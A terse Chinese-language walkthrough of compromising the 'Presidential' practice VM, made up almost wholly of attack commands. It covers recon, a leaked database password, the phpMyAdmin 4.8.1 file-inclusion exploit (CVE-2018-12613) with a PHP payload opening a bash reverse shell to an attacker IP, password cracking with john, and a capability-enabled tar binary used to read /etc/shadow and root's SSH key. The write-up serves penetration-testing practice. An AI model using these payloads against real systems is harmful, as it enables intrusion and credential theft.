靶机实战系列之Presidential靶机

nmap -p-  192.168.144.218 

nmap -p80,2082 -sV -sC  192.168.144.218

dirsearch -u    http://192.168.144.218

view-source:http://votenow.local/config.php.bak
$dbUser = "votebox";$dbPass = "casoj3FFASPsbyoRP";$dbHost = "localhost";$dbname = "votebox";

gobuster  vhost  -u  http://votenow.local/    -w  /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"

192.168.144.218 datasafe.votenow.local

$dbUser = "votebox";$dbPass = "casoj3FFASPsbyoRP";

cp /usr/share/exploitdb/exploits/php/webapps/44928.txt  .
# Exploit Title: phpMyAdmin 4.8.1 - Local File Inclusion to Remote Code Execution# Date: 2018-06-21# Exploit Author: VulnSpy# Vendor Homepage: http://www.phpmyadmin.net# Software Link: https://github.com/phpmyadmin/phpmyadmin/archive/RELEASE_4_8_1.tar.gz# Version: 4.8.0, 4.8.1# Tested on: php7 mysql5# CVE : CVE-2018-12613
1. Run SQL Query : select '<?php phpinfo();exit;?>'2. Include the session file :http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_11njnj4253qq93vjm9q93nvc7p2lq82k

i2n0csdmf78kkoseno75kp4jaa9stmk7

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_i2n0csdmf78kkoseno75kp4jaa9stmk7

select '<?php system("bash -i >& /dev/tcp/192.168.144.247/4444 0>&1");exit;?>'
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_seu20bv6tjd567k4ihafm3sgub4n2uq0//注意 每次 session 刷新  都要 更新 后面的链接

cat hash cp  /usr/share/wordlists/rockyou.txt.gz .gunzip rockyou.txt.gzjohn --wordlist=rockyou.txt hashsu admin   // 密码为 Stella

python -c "import pty;pty.spawn('/bin/bash')"

getcap   -r  /  2>/dev/nullls -l /usr/bin/newuidmapls -l  /usr/bin/tarS

cd   //返回根目录tarS -cvf shadow.tar /etc/shadow   //打包lstar -xvf shadow.tar  //解压cd etcchmod 777 shadowcat shadow   // 读取文件

tarS -cvf k.tar /root/.ssh/id_rsatar -xvf k.tarcd root/.ssh/ssh -i id_rsa root@localhost -p 2082